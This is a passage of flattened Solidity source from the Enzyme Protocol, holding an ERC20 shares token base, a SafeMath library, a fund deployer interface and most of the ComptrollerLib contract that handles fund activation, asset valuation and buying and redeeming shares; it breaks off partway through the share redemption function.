/// @notice Contains the storage, events, and default logic of an ERC20-compliant contract.
/// @dev The logic can be overridden by VaultLib implementations.
/// Adapted from OpenZeppelin 3.2.0.
/// DO NOT EDIT THIS CONTRACT.
abstract contract SharesTokenBase {
using VaultLibSafeMath for uint256;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
string internal sharesName;
string internal sharesSymbol;
uint256 internal sharesTotalSupply;
mapping(address => uint256) internal sharesBalances;
mapping(address => mapping(address => uint256)) internal sharesAllowances;
// EXTERNAL FUNCTIONS
/// @dev Standard implementation of ERC20's approve(). Can be overridden.
function approve(address _spender, uint256 _amount) public virtual returns (bool) {
__approve(msg.sender, _spender, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transfer(). Can be overridden.
function transfer(address _recipient, uint256 _amount) public virtual returns (bool) {
__transfer(msg.sender, _recipient, _amount);
return true;
}
/// @dev Standard implementation of ERC20's transferFrom(). Can be overridden.
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual returns (bool) {
__transfer(_sender, _recipient, _amount);
__approve(
_sender,
msg.sender,
sharesAllowances[_sender][msg.sender].sub(
_amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
// EXTERNAL FUNCTIONS - VIEW
/// @dev Standard implementation of ERC20's allowance(). Can be overridden.
function allowance(address _owner, address _spender) public view virtual returns (uint256) {
return sharesAllowances[_owner][_spender];
}
/// @dev Standard implementation of ERC20's balanceOf(). Can be overridden.
function balanceOf(address _account) public view virtual returns (uint256) {
return sharesBalances[_account];
}
/// @dev Standard implementation of ERC20's decimals(). Can not be overridden.
function decimals() public pure returns (uint8) {
return 18;
}
/// @dev Standard implementation of ERC20's name(). Can be overridden.
function name() public view virtual returns (string memory) {
return sharesName;
}
/// @dev Standard implementation of ERC20's symbol(). Can be overridden.
function symbol() public view virtual returns (string memory) {
return sharesSymbol;
}
/// @dev Standard implementation of ERC20's totalSupply(). Can be overridden.
function totalSupply() public view virtual returns (uint256) {
return sharesTotalSupply;
}
// INTERNAL FUNCTIONS
/// @dev Helper for approve(). Can be overridden.
function __approve(
address _owner,
address _spender,
uint256 _amount
) internal virtual {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
sharesAllowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
/// @dev Helper to burn tokens from an account. Can be overridden.
function __burn(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: burn from the zero address");
sharesBalances[_account] = sharesBalances[_account].sub(
_amount,
"ERC20: burn amount exceeds balance"
);
sharesTotalSupply = sharesTotalSupply.sub(_amount);
emit Transfer(_account, address(0), _amount);
}
/// @dev Helper to mint tokens to an account. Can be overridden.
function __mint(address _account, uint256 _amount) internal virtual {
require(_account != address(0), "ERC20: mint to the zero address");
sharesTotalSupply = sharesTotalSupply.add(_amount);
sharesBalances[_account] = sharesBalances[_account].add(_amount);
emit Transfer(address(0), _account, _amount);
}
/// @dev Helper to transfer tokens between accounts. Can be overridden.
function __transfer(
address _sender,
address _recipient,
uint256 _amount
) internal virtual {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
sharesBalances[_sender] = sharesBalances[_sender].sub(
_amount,
"ERC20: transfer amount exceeds balance"
);
sharesBalances[_recipient] = sharesBalances[_recipient].add(_amount);
emit Transfer(_sender, _recipient, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title VaultLibSafeMath library
/// @notice A narrowed, verbatim implementation of OpenZeppelin 3.2.0 SafeMath
/// for use with VaultLib
/// @dev Preferred to importing from npm to guarantee consistent logic and revert reasons
/// between VaultLib implementations
/// DO NOT EDIT THIS CONTRACT
library VaultLibSafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "VaultLibSafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "VaultLibSafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "VaultLibSafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "VaultLibSafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "VaultLibSafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IFundDeployer Interface
/// @author Enzyme Council <[email protected]>
interface IFundDeployer {
enum ReleaseStatus {PreLaunch, Live, Paused}
function getOwner() external view returns (address);
function getReleaseStatus() external view returns (ReleaseStatus);
function isRegisteredVaultCall(address, bytes4) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../../../../persistent/dispatcher/IDispatcher.sol";
import "../../../extensions/IExtension.sol";
import "../../../extensions/fee-manager/IFeeManager.sol";
import "../../../extensions/policy-manager/IPolicyManager.sol";
import "../../../infrastructure/price-feeds/primitives/IPrimitivePriceFeed.sol";
import "../../../infrastructure/value-interpreter/IValueInterpreter.sol";
import "../../../utils/AddressArrayLib.sol";
import "../../../utils/AssetFinalityResolver.sol";
import "../../fund-deployer/IFundDeployer.sol";
import "../vault/IVault.sol";
import "./IComptroller.sol";
/// @title ComptrollerLib Contract
/// @author Enzyme Council <[email protected]>
/// @notice The core logic library shared by all funds
contract ComptrollerLib is IComptroller, AssetFinalityResolver {
using AddressArrayLib for address[];
using SafeMath for uint256;
using SafeERC20 for ERC20;
event MigratedSharesDuePaid(uint256 sharesDue);
event OverridePauseSet(bool indexed overridePause);
event PreRedeemSharesHookFailed(
bytes failureReturnData,
address redeemer,
uint256 sharesQuantity
);
event SharesBought(
address indexed caller,
address indexed buyer,
uint256 investmentAmount,
uint256 sharesIssued,
uint256 sharesReceived
);
event SharesRedeemed(
address indexed redeemer,
uint256 sharesQuantity,
address[] receivedAssets,
uint256[] receivedAssetQuantities
);
event VaultProxySet(address vaultProxy);
// Constants and immutables - shared by all proxies
uint256 private constant SHARES_UNIT = 10**18;
address private immutable DISPATCHER;
address private immutable FUND_DEPLOYER;
address private immutable FEE_MANAGER;
address private immutable INTEGRATION_MANAGER;
address private immutable PRIMITIVE_PRICE_FEED;
address private immutable POLICY_MANAGER;
address private immutable VALUE_INTERPRETER;
// Pseudo-constants (can only be set once)
address internal denominationAsset;
address internal vaultProxy;
// True only for the one non-proxy
bool internal isLib;
// Storage
// Allows a fund owner to override a release-level pause
bool internal overridePause;
// A reverse-mutex, granting atomic permission for particular contracts to make vault calls
bool internal permissionedVaultActionAllowed;
// A mutex to protect against reentrancy
bool internal reentranceLocked;
// A timelock between any "shares actions" (i.e., buy and redeem shares), per-account
uint256 internal sharesActionTimelock;
mapping(address => uint256) internal acctToLastSharesAction;
///////////////
// MODIFIERS //
///////////////
modifier allowsPermissionedVaultAction {
__assertPermissionedVaultActionNotAllowed();
permissionedVaultActionAllowed = true;
_;
permissionedVaultActionAllowed = false;
}
modifier locksReentrance() {
__assertNotReentranceLocked();
reentranceLocked = true;
_;
reentranceLocked = false;
}
modifier onlyActive() {
__assertIsActive(vaultProxy);
_;
}
modifier onlyNotPaused() {
__assertNotPaused();
_;
}
modifier onlyFundDeployer() {
__assertIsFundDeployer(msg.sender);
_;
}
modifier onlyOwner() {
__assertIsOwner(msg.sender);
_;
}
modifier timelockedSharesAction(address _account) {
__assertSharesActionNotTimelocked(_account);
_;
acctToLastSharesAction[_account] = block.timestamp;
}
// ASSERTION HELPERS
// Modifiers are inefficient in terms of contract size,
// so we use helper functions to prevent repetitive inlining of expensive string values.
/// @dev Since vaultProxy is set during activate(),
/// we can check that var rather than storing additional state
function __assertIsActive(address _vaultProxy) private pure {
require(_vaultProxy != address(0), "Fund not active");
}
function __assertIsFundDeployer(address _who) private view {
require(_who == FUND_DEPLOYER, "Only FundDeployer callable");
}
function __assertIsOwner(address _who) private view {
require(_who == IVault(vaultProxy).getOwner(), "Only fund owner callable");
}
function __assertLowLevelCall(bool _success, bytes memory _returnData) private pure {
require(_success, string(_returnData));
}
function __assertNotPaused() private view {
require(!__fundIsPaused(), "Fund is paused");
}
function __assertNotReentranceLocked() private view {
require(!reentranceLocked, "Re-entrance");
}
function __assertPermissionedVaultActionNotAllowed() private view {
require(!permissionedVaultActionAllowed, "Vault action re-entrance");
}
function __assertSharesActionNotTimelocked(address _account) private view {
require(
block.timestamp.sub(acctToLastSharesAction[_account]) >= sharesActionTimelock,
"Shares action timelocked"
);
}
constructor(
address _dispatcher,
address _fundDeployer,
address _valueInterpreter,
address _feeManager,
address _integrationManager,
address _policyManager,
address _primitivePriceFeed,
address _synthetixPriceFeed,
address _synthetixAddressResolver
) public AssetFinalityResolver(_synthetixPriceFeed, _synthetixAddressResolver) {
DISPATCHER = _dispatcher;
FEE_MANAGER = _feeManager;
FUND_DEPLOYER = _fundDeployer;
INTEGRATION_MANAGER = _integrationManager;
PRIMITIVE_PRICE_FEED = _primitivePriceFeed;
POLICY_MANAGER = _policyManager;
VALUE_INTERPRETER = _valueInterpreter;
isLib = true;
}
/////////////
// GENERAL //
/////////////
/// @notice Calls a specified action on an Extension
/// @param _extension The Extension contract to call (e.g., FeeManager)
/// @param _actionId An ID representing the action to take on the extension (see extension)
/// @param _callArgs The encoded data for the call
/// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy
/// (for access control). Uses a mutex of sorts that allows "permissioned vault actions"
/// during calls originating from this function.
function callOnExtension(
address _extension,
uint256 _actionId,
bytes calldata _callArgs
) external override onlyNotPaused onlyActive locksReentrance allowsPermissionedVaultAction {
require(
_extension == FEE_MANAGER || _extension == INTEGRATION_MANAGER,
"callOnExtension: _extension invalid"
);
IExtension(_extension).receiveCallFromComptroller(msg.sender, _actionId, _callArgs);
}
/// @notice Sets or unsets an override on a release-wide pause
/// @param _nextOverridePause True if the pause should be overrode
function setOverridePause(bool _nextOverridePause) external onlyOwner {
require(_nextOverridePause != overridePause, "setOverridePause: Value already set");
overridePause = _nextOverridePause;
emit OverridePauseSet(_nextOverridePause);
}
/// @notice Makes an arbitrary call with the VaultProxy contract as the sender
/// @param _contract The contract to call
/// @param _selector The selector to call
/// @param _encodedArgs The encoded arguments for the call
function vaultCallOnContract(
address _contract,
bytes4 _selector,
bytes calldata _encodedArgs
) external onlyNotPaused onlyActive onlyOwner {
require(
IFundDeployer(FUND_DEPLOYER).isRegisteredVaultCall(_contract, _selector),
"vaultCallOnContract: Unregistered"
);
IVault(vaultProxy).callOnContract(_contract, abi.encodePacked(_selector, _encodedArgs));
}
/// @dev Helper to check whether the release is paused, and that there is no local override
function __fundIsPaused() private view returns (bool) {
return
IFundDeployer(FUND_DEPLOYER).getReleaseStatus() ==
IFundDeployer.ReleaseStatus.Paused &&
!overridePause;
}
////////////////////////////////
// PERMISSIONED VAULT ACTIONS //
////////////////////////////////
/// @notice Makes a permissioned, state-changing call on the VaultProxy contract
/// @param _action The enum representing the VaultAction to perform on the VaultProxy
/// @param _actionData The call data for the action to perform
function permissionedVaultAction(VaultAction _action, bytes calldata _actionData)
external
override
onlyNotPaused
onlyActive
{
__assertPermissionedVaultAction(msg.sender, _action);
if (_action == VaultAction.AddTrackedAsset) {
__vaultActionAddTrackedAsset(_actionData);
} else if (_action == VaultAction.ApproveAssetSpender) {
__vaultActionApproveAssetSpender(_actionData);
} else if (_action == VaultAction.BurnShares) {
__vaultActionBurnShares(_actionData);
} else if (_action == VaultAction.MintShares) {
__vaultActionMintShares(_actionData);
} else if (_action == VaultAction.RemoveTrackedAsset) {
__vaultActionRemoveTrackedAsset(_actionData);
} else if (_action == VaultAction.TransferShares) {
__vaultActionTransferShares(_actionData);
} else if (_action == VaultAction.WithdrawAssetTo) {
__vaultActionWithdrawAssetTo(_actionData);
}
}
/// @dev Helper to assert that a caller is allowed to perform a particular VaultAction
function __assertPermissionedVaultAction(address _caller, VaultAction _action) private view {
require(
permissionedVaultActionAllowed,
"__assertPermissionedVaultAction: No action allowed"
);
if (_caller == INTEGRATION_MANAGER) {
require(
_action == VaultAction.ApproveAssetSpender ||
_action == VaultAction.AddTrackedAsset ||
_action == VaultAction.RemoveTrackedAsset ||
_action == VaultAction.WithdrawAssetTo,
"__assertPermissionedVaultAction: Not valid for IntegrationManager"
);
} else if (_caller == FEE_MANAGER) {
require(
_action == VaultAction.BurnShares ||
_action == VaultAction.MintShares ||
_action == VaultAction.TransferShares,
"__assertPermissionedVaultAction: Not valid for FeeManager"
);
} else {
revert("__assertPermissionedVaultAction: Not a valid actor");
}
}
/// @dev Helper to add a tracked asset to the fund
function __vaultActionAddTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
IVault(vaultProxy).addTrackedAsset(asset);
}
/// @dev Helper to grant a spender an allowance for a fund's asset
function __vaultActionApproveAssetSpender(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).approveAssetSpender(asset, target, amount);
}
/// @dev Helper to burn fund shares for a particular account
function __vaultActionBurnShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).burnShares(target, amount);
}
/// @dev Helper to mint fund shares to a particular account
function __vaultActionMintShares(bytes memory _actionData) private {
(address target, uint256 amount) = abi.decode(_actionData, (address, uint256));
IVault(vaultProxy).mintShares(target, amount);
}
/// @dev Helper to remove a tracked asset from the fund
function __vaultActionRemoveTrackedAsset(bytes memory _actionData) private {
address asset = abi.decode(_actionData, (address));
// Allowing this to fail silently makes it cheaper and simpler
// for Extensions to not query for the denomination asset
if (asset != denominationAsset) {
IVault(vaultProxy).removeTrackedAsset(asset);
}
}
/// @dev Helper to transfer fund shares from one account to another
function __vaultActionTransferShares(bytes memory _actionData) private {
(address from, address to, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).transferShares(from, to, amount);
}
/// @dev Helper to withdraw an asset from the VaultProxy to a given account
function __vaultActionWithdrawAssetTo(bytes memory _actionData) private {
(address asset, address target, uint256 amount) = abi.decode(
_actionData,
(address, address, uint256)
);
IVault(vaultProxy).withdrawAssetTo(asset, target, amount);
}
///////////////
// LIFECYCLE //
///////////////
/// @notice Initializes a fund with its core config
/// @param _denominationAsset The asset in which the fund's value should be denominated
/// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions"
/// (buying or selling shares) by the same user
/// @dev Pseudo-constructor per proxy.
/// No need to assert access because this is called atomically on deployment,
/// and once it's called, it cannot be called again.
function init(address _denominationAsset, uint256 _sharesActionTimelock) external override {
require(denominationAsset == address(0), "init: Already initialized");
require(
IPrimitivePriceFeed(PRIMITIVE_PRICE_FEED).isSupportedAsset(_denominationAsset),
"init: Bad denomination asset"
);
denominationAsset = _denominationAsset;
sharesActionTimelock = _sharesActionTimelock;
}
/// @notice Configure the extensions of a fund
/// @param _feeManagerConfigData Encoded config for fees to enable
/// @param _policyManagerConfigData Encoded config for policies to enable
/// @dev No need to assert anything beyond FundDeployer access.
/// Called atomically with init(), but after ComptrollerLib has been deployed,
/// giving access to its state and interface
function configureExtensions(
bytes calldata _feeManagerConfigData,
bytes calldata _policyManagerConfigData
) external override onlyFundDeployer {
if (_feeManagerConfigData.length > 0) {
IExtension(FEE_MANAGER).setConfigForFund(_feeManagerConfigData);
}
if (_policyManagerConfigData.length > 0) {
IExtension(POLICY_MANAGER).setConfigForFund(_policyManagerConfigData);
}
}
/// @notice Activates the fund by attaching a VaultProxy and activating all Extensions
/// @param _vaultProxy The VaultProxy to attach to the fund
/// @param _isMigration True if a migrated fund is being activated
/// @dev No need to assert anything beyond FundDeployer access.
function activate(address _vaultProxy, bool _isMigration) external override onlyFundDeployer {
vaultProxy = _vaultProxy;
emit VaultProxySet(_vaultProxy);
if (_isMigration) {
// Distribute any shares in the VaultProxy to the fund owner.
// This is a mechanism to ensure that even in the edge case of a fund being unable
// to payout fee shares owed during migration, these shares are not lost.
uint256 sharesDue = ERC20(_vaultProxy).balanceOf(_vaultProxy);
if (sharesDue > 0) {
IVault(_vaultProxy).transferShares(
_vaultProxy,
IVault(_vaultProxy).getOwner(),
sharesDue
);
emit MigratedSharesDuePaid(sharesDue);
}
}
// Note: a future release could consider forcing the adding of a tracked asset here,
// just in case a fund is migrating from an old configuration where they are not able
// to remove an asset to get under the tracked assets limit
IVault(_vaultProxy).addTrackedAsset(denominationAsset);
// Activate extensions
IExtension(FEE_MANAGER).activateForFund(_isMigration);
IExtension(INTEGRATION_MANAGER).activateForFund(_isMigration);
IExtension(POLICY_MANAGER).activateForFund(_isMigration);
}
/// @notice Remove the config for a fund
/// @dev No need to assert anything beyond FundDeployer access.
/// Calling onlyNotPaused here rather than in the FundDeployer allows
/// the owner to potentially override the pause and rescue unpaid fees.
function destruct()
external
override
onlyFundDeployer
onlyNotPaused
allowsPermissionedVaultAction
{
// Failsafe to protect the libs against selfdestruct
require(!isLib, "destruct: Only delegate callable");
// Deactivate the extensions
IExtension(FEE_MANAGER).deactivateForFund();
IExtension(INTEGRATION_MANAGER).deactivateForFund();
IExtension(POLICY_MANAGER).deactivateForFund();
// Delete storage of ComptrollerProxy
// There should never be ETH in the ComptrollerLib, so no need to waste gas
// to get the fund owner
selfdestruct(address(0));
}
////////////////
// ACCOUNTING //
////////////////
/// @notice Calculates the gross asset value (GAV) of the fund
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return gav_ The fund GAV
/// @return isValid_ True if the conversion rates used to derive the GAV are all valid
function calcGav(bool _requireFinality) public override returns (uint256 gav_, bool isValid_) {
address vaultProxyAddress = vaultProxy;
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
if (assets.length == 0) {
return (0, true);
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = __finalizeIfSynthAndGetAssetBalance(
vaultProxyAddress,
assets[i],
_requireFinality
);
}
(gav_, isValid_) = IValueInterpreter(VALUE_INTERPRETER).calcCanonicalAssetsTotalValue(
assets,
balances,
denominationAsset
);
return (gav_, isValid_);
}
/// @notice Calculates the gross value of 1 unit of shares in the fund's denomination asset
/// @param _requireFinality True if all assets must have exact final balances settled
/// @return grossShareValue_ The amount of the denomination asset per share
/// @return isValid_ True if the conversion rates to derive the value are all valid
/// @dev Does not account for any fees outstanding.
function calcGrossShareValue(bool _requireFinality)
external
override
returns (uint256 grossShareValue_, bool isValid_)
{
uint256 gav;
(gav, isValid_) = calcGav(_requireFinality);
grossShareValue_ = __calcGrossShareValue(
gav,
ERC20(vaultProxy).totalSupply(),
10**uint256(ERC20(denominationAsset).decimals())
);
return (grossShareValue_, isValid_);
}
/// @dev Helper for calculating the gross share value
function __calcGrossShareValue(
uint256 _gav,
uint256 _sharesSupply,
uint256 _denominationAssetUnit
) private pure returns (uint256 grossShareValue_) {
if (_sharesSupply == 0) {
return _denominationAssetUnit;
}
return _gav.mul(SHARES_UNIT).div(_sharesSupply);
}
///////////////////
// PARTICIPATION //
///////////////////
// BUY SHARES
/// @notice Buys shares in the fund for multiple sets of criteria
/// @param _buyers The accounts for which to buy shares
/// @param _investmentAmounts The amounts of the fund's denomination asset
/// with which to buy shares for the corresponding _buyers
/// @param _minSharesQuantities The minimum quantities of shares to buy
/// with the corresponding _investmentAmounts
/// @return sharesReceivedAmounts_ The actual amounts of shares received
/// by the corresponding _buyers
/// @dev Param arrays have indexes corresponding to individual __buyShares() orders.
function buyShares(
address[] calldata _buyers,
uint256[] calldata _investmentAmounts,
uint256[] calldata _minSharesQuantities
)
external
onlyNotPaused
locksReentrance
allowsPermissionedVaultAction
returns (uint256[] memory sharesReceivedAmounts_)
{
require(_buyers.length > 0, "buyShares: Empty _buyers");
require(
_buyers.length == _investmentAmounts.length &&
_buyers.length == _minSharesQuantities.length,
"buyShares: Unequal arrays"
);
address vaultProxyCopy = vaultProxy;
__assertIsActive(vaultProxyCopy);
require(
!IDispatcher(DISPATCHER).hasMigrationRequest(vaultProxyCopy),
"buyShares: Pending migration"
);
(uint256 gav, bool gavIsValid) = calcGav(true);
require(gavIsValid, "buyShares: Invalid GAV");
__buySharesSetupHook(msg.sender, _investmentAmounts, gav);
address denominationAssetCopy = denominationAsset;
uint256 sharePrice = __calcGrossShareValue(
gav,
ERC20(vaultProxyCopy).totalSupply(),
10**uint256(ERC20(denominationAssetCopy).decimals())
);
sharesReceivedAmounts_ = new uint256[](_buyers.length);
for (uint256 i; i < _buyers.length; i++) {
sharesReceivedAmounts_[i] = __buyShares(
_buyers[i],
_investmentAmounts[i],
_minSharesQuantities[i],
vaultProxyCopy,
sharePrice,
gav,
denominationAssetCopy
);
gav = gav.add(_investmentAmounts[i]);
}
__buySharesCompletedHook(msg.sender, sharesReceivedAmounts_, gav);
return sharesReceivedAmounts_;
}
/// @dev Helper to buy shares
function __buyShares(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
address _vaultProxy,
uint256 _sharePrice,
uint256 _preBuySharesGav,
address _denominationAsset
) private timelockedSharesAction(_buyer) returns (uint256 sharesReceived_) {
require(_investmentAmount > 0, "__buyShares: Empty _investmentAmount");
// Gives Extensions a chance to run logic prior to the minting of bought shares
__preBuySharesHook(_buyer, _investmentAmount, _minSharesQuantity, _preBuySharesGav);
// Calculate the amount of shares to issue with the investment amount
uint256 sharesIssued = _investmentAmount.mul(SHARES_UNIT).div(_sharePrice);
// Mint shares to the buyer
uint256 prevBuyerShares = ERC20(_vaultProxy).balanceOf(_buyer);
IVault(_vaultProxy).mintShares(_buyer, sharesIssued);
// Transfer the investment asset to the fund.
// Does not follow the checks-effects-interactions pattern, but it is preferred
// to have the final state of the VaultProxy prior to running __postBuySharesHook().
ERC20(_denominationAsset).safeTransferFrom(msg.sender, _vaultProxy, _investmentAmount);
// Gives Extensions a chance to run logic after shares are issued
__postBuySharesHook(_buyer, _investmentAmount, sharesIssued, _preBuySharesGav);
// The number of actual shares received may differ from shares issued due to
// how the PostBuyShares hooks are invoked by Extensions (i.e., fees)
sharesReceived_ = ERC20(_vaultProxy).balanceOf(_buyer).sub(prevBuyerShares);
require(
sharesReceived_ >= _minSharesQuantity,
"__buyShares: Shares received < _minSharesQuantity"
);
emit SharesBought(msg.sender, _buyer, _investmentAmount, sharesIssued, sharesReceived_);
return sharesReceived_;
}
/// @dev Helper for Extension actions after all __buyShares() calls are made
function __buySharesCompletedHook(
address _caller,
uint256[] memory _sharesReceivedAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesCompleted,
abi.encode(_caller, _sharesReceivedAmounts),
_gav
);
}
/// @dev Helper for Extension actions before any __buyShares() calls are made
function __buySharesSetupHook(
address _caller,
uint256[] memory _investmentAmounts,
uint256 _gav
) private {
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts, _gav)
);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.BuySharesSetup,
abi.encode(_caller, _investmentAmounts),
_gav
);
}
/// @dev Helper for Extension actions immediately prior to issuing shares.
/// This could be cleaned up so both Extensions take the same encoded args and handle GAV
/// in the same way, but there is not the obvious need for gas savings of recycling
/// the GAV value for the current policies as there is for the fees.
function __preBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity,
uint256 _gav
) private {
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity),
_gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PreBuyShares,
abi.encode(_buyer, _investmentAmount, _minSharesQuantity, _gav)
);
}
/// @dev Helper for Extension actions immediately after issuing shares.
/// Same comment applies from __preBuySharesHook() above.
function __postBuySharesHook(
address _buyer,
uint256 _investmentAmount,
uint256 _sharesIssued,
uint256 _preBuySharesGav
) private {
uint256 gav = _preBuySharesGav.add(_investmentAmount);
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued),
gav
);
IPolicyManager(POLICY_MANAGER).validatePolicies(
address(this),
IPolicyManager.PolicyHook.PostBuyShares,
abi.encode(_buyer, _investmentAmount, _sharesIssued, gav)
);
}
// REDEEM SHARES
/// @notice Redeem all of the sender's shares for a proportionate slice of the fund's assets
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev See __redeemShares() for further detail
function redeemShares()
external
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
return
__redeemShares(
msg.sender,
ERC20(vaultProxy).balanceOf(msg.sender),
new address[](0),
new address[](0)
);
}
/// @notice Redeem a specified quantity of the sender's shares for a proportionate slice of
/// the fund's assets, optionally specifying additional assets and assets to skip.
/// @param _sharesQuantity The quantity of shares to redeem
/// @param _additionalAssets Additional (non-tracked) assets to claim
/// @param _assetsToSkip Tracked assets to forfeit
/// @return payoutAssets_ The assets paid out to the redeemer
/// @return payoutAmounts_ The amount of each asset paid out to the redeemer
/// @dev Any claim to passed _assetsToSkip will be forfeited entirely. This should generally
/// only be exercised if a bad asset is causing redemption to fail.
function redeemSharesDetailed(
uint256 _sharesQuantity,
address[] calldata _additionalAssets,
address[] calldata _assetsToSkip
) external returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_) {
return __redeemShares(msg.sender, _sharesQuantity, _additionalAssets, _assetsToSkip);
}
/// @dev Helper to parse an array of payout assets during redemption, taking into account
/// additional assets and assets to skip. _assetsToSkip ignores _additionalAssets.
/// All input arrays are assumed to be unique.
function __parseRedemptionPayoutAssets(
address[] memory _trackedAssets,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
) private pure returns (address[] memory payoutAssets_) {
address[] memory trackedAssetsToPayout = _trackedAssets.removeItems(_assetsToSkip);
if (_additionalAssets.length == 0) {
return trackedAssetsToPayout;
}
// Add additional assets. Duplicates of trackedAssets are ignored.
bool[] memory indexesToAdd = new bool[](_additionalAssets.length);
uint256 additionalItemsCount;
for (uint256 i; i < _additionalAssets.length; i++) {
if (!trackedAssetsToPayout.contains(_additionalAssets[i])) {
indexesToAdd[i] = true;
additionalItemsCount++;
}
}
if (additionalItemsCount == 0) {
return trackedAssetsToPayout;
}
payoutAssets_ = new address[](trackedAssetsToPayout.length.add(additionalItemsCount));
for (uint256 i; i < trackedAssetsToPayout.length; i++) {
payoutAssets_[i] = trackedAssetsToPayout[i];
}
uint256 payoutAssetsIndex = trackedAssetsToPayout.length;
for (uint256 i; i < _additionalAssets.length; i++) {
if (indexesToAdd[i]) {
payoutAssets_[payoutAssetsIndex] = _additionalAssets[i];
payoutAssetsIndex++;
}
}
return payoutAssets_;
}
/// @dev Helper for system actions immediately prior to redeeming shares.
/// Policy validation is not currently allowed on redemption, to ensure continuous redeemability.
function __preRedeemSharesHook(address _redeemer, uint256 _sharesQuantity)
private
allowsPermissionedVaultAction
{
try
IFeeManager(FEE_MANAGER).invokeHook(
IFeeManager.FeeHook.PreRedeemShares,
abi.encode(_redeemer, _sharesQuantity),
0
)
{} catch (bytes memory reason) {
emit PreRedeemSharesHookFailed(reason, _redeemer, _sharesQuantity);
}
}
/// @dev Helper to redeem shares.
/// This function should never fail without a way to bypass the failure, which is assured
/// through two mechanisms:
/// 1. The FeeManager is called with the try/catch pattern to assure that calls to it
/// can never block redemption.
/// 2. If a token fails upon transfer(), that token can be skipped (and its balance forfeited)
/// by explicitly specifying _assetsToSkip.
/// Because of these assurances, shares should always be redeemable, with the exception
/// of the timelock period on shares actions that must be respected.
function __redeemShares(
address _redeemer,
uint256 _sharesQuantity,
address[] memory _additionalAssets,
address[] memory _assetsToSkip
)
private
locksReentrance
returns (address[] memory payoutAssets_, uint256[] memory payoutAmounts_)
{
require(_sharesQuantity > 0, "__redeemShares: _sharesQuantity must be >0");
require(
_additionalAssets.isUniqueSet(),
"__redeemShares: _additionalAssets contains duplicates"
);
require(_assetsToSkip.isUniqueSet(), "__redeemShares: _assetsToSkip contains duplicates");
IVault vaultProxyContract = IVault(vaultProxy);
// Only apply the sharesActionTimelock when a migration is not pending
if (!IDispatcher(DISPATCHER).hasMigrationRequest(address(vaultProxyContract))) {
